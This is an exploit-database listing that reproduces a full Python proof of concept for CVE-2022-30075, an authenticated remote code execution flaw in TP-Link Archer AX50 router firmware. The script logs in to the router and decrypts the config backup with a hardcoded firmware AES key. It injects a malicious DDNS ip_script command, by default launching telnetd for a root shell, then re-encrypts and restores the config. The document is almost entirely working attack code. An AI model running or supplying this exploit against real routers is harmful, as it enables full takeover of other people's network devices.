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TP-Link Router AX50 firmware 210730 Remote Code Execution (RCE) (Authenticated)

CVE Category Price Severity
CVE-2022-30075 CWE-XX N/A Critical
Author Risk Exploitation Type Date
Not specified High Remote 2022-09-03
CVSS
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022090003

Below is a copy:

TP-Link Router AX50 firmware 210730 Remote Code Execution (RCE) (Authenticated)
# Exploit Title: TP-Link Router AX50 firmware 210730 - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Tomas Melicher
# Technical Details: https://github.com/aaronsvk/CVE-2022-30075
# Date: 2022-06-08
# Vendor Homepage: https://www.tp-link.com/
# Tested On: Tp-Link Archer AX50
# Vulnerability Description: Remote Code Execution via importing malicious config file
# CVE: CVE-2022-30075

#!/usr/bin/python3

import argparse # pip install argparse
import requests # pip install requests
import binascii, base64, os, re, json, sys, time, math, random, hashlib
import tarfile, zlib
from Crypto.Cipher import AES, PKCS1_v1_5, PKCS1_OAEP # pip install pycryptodome
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
from urllib.parse import urlencode

class WebClient(object):

def __init__(self, target, password):
self.target = target
self.password = password.encode('utf-8')
self.password_hash = hashlib.md5(('admin%s'%password).encode('utf-8')).hexdigest().encode('utf-8')
self.aes_key = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')
self.aes_iv = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')

self.stok = ''
self.session = requests.Session()

data = self.basic_request('/login?form=auth', {'operation':'read'})
if data['success'] != True:
print('[!] unsupported router')
return
self.sign_rsa_n = int(data['data']['key'][0], 16)
self.sign_rsa_e = int(data['data']['key'][1], 16)
self.seq = data['data']['seq']

data = self.basic_request('/login?form=keys', {'operation':'read'})
self.password_rsa_n = int(data['data']['password'][0], 16)
self.password_rsa_e = int(data['data']['password'][1], 16)

self.stok = self.login()


def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
plaintext_padded = pad(plaintext, aes_block_size)
return cipher.encrypt(plaintext_padded)


def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):
cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
plaintext_padded = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext_padded, aes_block_size)
return plaintext


def rsa_encrypt(self, n, e, plaintext):
public_key = RSA.construct((n, e)).publickey()
encryptor = PKCS1_v1_5.new(public_key)
block_size = int(public_key.n.bit_length()/8) - 11
encrypted_text = ''
for i in range(0, len(plaintext), block_size):
encrypted_text += encryptor.encrypt(plaintext[i:i+block_size]).hex()
return encrypted_text


def download_request(self, url, post_data):
res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, stream=True)
filepath = os.getcwd()+'/'+re.findall(r'(?<=filename=")[^"]+', res.headers['Content-Disposition'])[0]
if os.path.exists(filepath):
print('[!] can\'t download, file "%s" already exists' % filepath)
return
with open(filepath, 'wb') as f:
for chunk in res.iter_content(chunk_size=4096):
f.write(chunk)
return filepath


def basic_request(self, url, post_data, files_data={}):
res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, files=files_data)
return json.loads(res.content)


def encrypted_request(self, url, post_data):
serialized_data = urlencode(post_data)
encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, serialized_data.encode('utf-8'))
encrypted_data = base64.b64encode(encrypted_data)

signature = ('k=%s&i=%s&h=%s&s=%d'.encode('utf-8')) % (self.aes_key, self.aes_iv, self.password_hash, self.seq+len(encrypted_data))
encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature)

res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data={'sign':encrypted_signature, 'data':encrypted_data}) # order of params is important
if(res.status_code != 200):
print('[!] url "%s" returned unexpected status code'%(url))
return
encrypted_data = json.loads(res.content)
encrypted_data = base64.b64decode(encrypted_data['data'])
data = self.aes_decrypt(self.aes_key, self.aes_iv, AES.block_size, encrypted_data)
return json.loads(data)


def login(self):
post_data = {'operation':'login', 'password':self.rsa_encrypt(self.password_rsa_n, self.password_rsa_e, self.password)}
data = self.encrypted_request('/login?form=login', post_data)
if data['success'] != True:
print('[!] login failed')
return
print('[+] logged in, received token (stok): %s'%(data['data']['stok']))
return data['data']['stok']



class BackupParser(object):

def __init__(self, filepath):
self.encrypted_path = os.path.abspath(filepath)
self.decrypted_path = os.path.splitext(filepath)[0]

self.aes_key = bytes.fromhex('2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua
self.iv = bytes.fromhex('360028C9064242F81074F4C127D299F6') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua


def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
plaintext_padded = pad(plaintext, aes_block_size)
return cipher.encrypt(plaintext_padded)


def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):
cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
plaintext_padded = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext_padded, aes_block_size)
return plaintext


def encrypt_config(self):
if not os.path.isdir(self.decrypted_path):
print('[!] invalid directory "%s"'%(self.decrypted_path))
return

# encrypt, compress each .xml using zlib and add them to tar archive
with tarfile.open('%s/data.tar'%(self.decrypted_path), 'w') as tar:
for filename in os.listdir(self.decrypted_path):
basename,ext = os.path.splitext(filename)
if ext == '.xml':
xml_path = '%s/%s'%(self.decrypted_path,filename)
bin_path = '%s/%s.bin'%(self.decrypted_path,basename)
with open(xml_path, 'rb') as f:
plaintext = f.read()
if len(plaintext) == 0:
f = open(bin_path, 'w')
f.close()
else:
compressed = zlib.compress(plaintext)
encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)
with open(bin_path, 'wb') as f:
f.write(encrypted)
tar.add(bin_path, os.path.basename(bin_path))
os.unlink(bin_path)
# compress tar archive using zlib and encrypt
with open('%s/md5_sum'%(self.decrypted_path), 'rb') as f1, open('%s/data.tar'%(self.decrypted_path), 'rb') as f2:
compressed = zlib.compress(f1.read()+f2.read())
encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)
# write into final config file
with open('%s'%(self.encrypted_path), 'wb') as f:
f.write(encrypted)
os.unlink('%s/data.tar'%(self.decrypted_path))


def decrypt_config(self):
if not os.path.isfile(self.encrypted_path):
print('[!] invalid file "%s"'%(self.encrypted_path))
return

# decrypt and decompress config file
with open(self.encrypted_path, 'rb') as f:
decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, f.read())
decompressed = zlib.decompress(decrypted)
os.mkdir(self.decrypted_path)
# store decrypted data into files
with open('%s/md5_sum'%(self.decrypted_path), 'wb') as f:
f.write(decompressed[0:16])
with open('%s/data.tar'%(self.decrypted_path), 'wb') as f:
f.write(decompressed[16:])
# untar second part of decrypted data
with tarfile.open('%s/data.tar'%(self.decrypted_path), 'r') as tar:
tar.extractall(path=self.decrypted_path)
# decrypt and decompress each .bin file from tar archive
for filename in os.listdir(self.decrypted_path):
basename,ext = os.path.splitext(filename)
if ext == '.bin':
bin_path = '%s/%s'%(self.decrypted_path,filename)
xml_path = '%s/%s.xml'%(self.decrypted_path,basename)
with open(bin_path, 'rb') as f:
ciphertext = f.read()
os.unlink(bin_path)
if len(ciphertext) == 0:
f = open(xml_path, 'w')
f.close()
continue
decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, ciphertext)
decompressed = zlib.decompress(decrypted)
with open(xml_path, 'wb') as f:
f.write(decompressed)
os.unlink('%s/data.tar'%(self.decrypted_path))


def modify_config(self, command):
xml_path = '%s/ori-backup-user-config.xml'%(self.decrypted_path)
if not os.path.isfile(xml_path):
print('[!] invalid file "%s"'%(xml_path))
return

with open(xml_path, 'r') as f:
xml_content = f.read()

# https://openwrt.org/docs/guide-user/services/ddns/client#detecting_wan_ip_with_script
payload = '<service name="exploit">\n'
payload += '<enabled>on</enabled>\n'
payload += '<update_url>http://127.0.0.1/</update_url>\n'
payload += '<domain>x.example.org</domain>\n'
payload += '<username>X</username>\n'
payload += '<password>X</password>\n'
payload += '<ip_source>script</ip_source>\n'
payload += '<ip_script>%s</ip_script>\n' % (command.replace('<','<').replace('&','&'))
payload += '<interface>internet</interface>\n' # not worked for other interfaces
payload += '<retry_interval>5</retry_interval>\n'
payload += '<retry_unit>seconds</retry_unit>\n'
payload += '<retry_times>3</retry_times>\n'
payload += '<check_interval>12</check_interval>\n'
payload += '<check_unit>hours</check_unit>\n'
payload += '<force_interval>30</force_interval>\n'
payload += '<force_unit>days</force_unit>\n'
payload += '</service>\n'

if '<service name="exploit">' in xml_content:
xml_content = re.sub(r'<service name="exploit">[\s\S]+?</service>\n</ddns>', '%s</ddns>'%(payload), xml_content, 1)
else:
xml_content = xml_content.replace('</service>\n</ddns>', '</service>\n%s</ddns>'%(payload), 1)
with open(xml_path, 'w') as f:
f.write(xml_content)



arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-t', metavar='target', help='ip address of tp-link router', required=True)
arg_parser.add_argument('-p', metavar='password', required=True)
arg_parser.add_argument('-b', action='store_true', help='only backup and decrypt config')
arg_parser.add_argument('-r', metavar='backup_directory', help='only encrypt and restore directory with decrypted config')
arg_parser.add_argument('-c', metavar='cmd', default='/usr/sbin/telnetd -l /bin/login.sh', help='command to execute')
args = arg_parser.parse_args()

client = WebClient(args.t, args.p)
parser = None

if not args.r:
print('[*] downloading config file ...')
filepath = client.download_request('/admin/firmware?form=config_multipart', {'operation':'backup'})
if not filepath:
sys.exit(-1)

print('[*] decrypting config file "%s" ...'%(filepath))
parser = BackupParser(filepath)
parser.decrypt_config()
print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path))

if not args.b and not args.r:
filepath = '%s_modified'%(parser.decrypted_path)
os.rename(parser.decrypted_path, filepath)
parser.decrypted_path = os.path.abspath(filepath)
parser.encrypted_path = '%s.bin'%(filepath)
parser.modify_config(args.c)
print('[+] modified directory with decrypted config "%s" ...'%(parser.decrypted_path))

if not args.b:
if parser is None:
parser = BackupParser('%s.bin'%(args.r.rstrip('/')))
print('[*] encrypting directory with modified config "%s" ...'%(parser.decrypted_path))
parser.encrypt_config()
data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'read'})
timeout = data['data']['totaltime'] if data['success'] else 180
print('[*] uploading modified config file "%s"'%(parser.encrypted_path))
data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'restore'}, {'archive':open(parser.encrypted_path,'rb')})
if not data['success']:
print('[!] unexpected response')
print(data)
sys.exit(-1)

print('[+] config file successfully uploaded')
print('[*] router will reboot in few seconds... when it becomes online again (few minutes), try "telnet %s" and enjoy root shell !!!'%(args.t))

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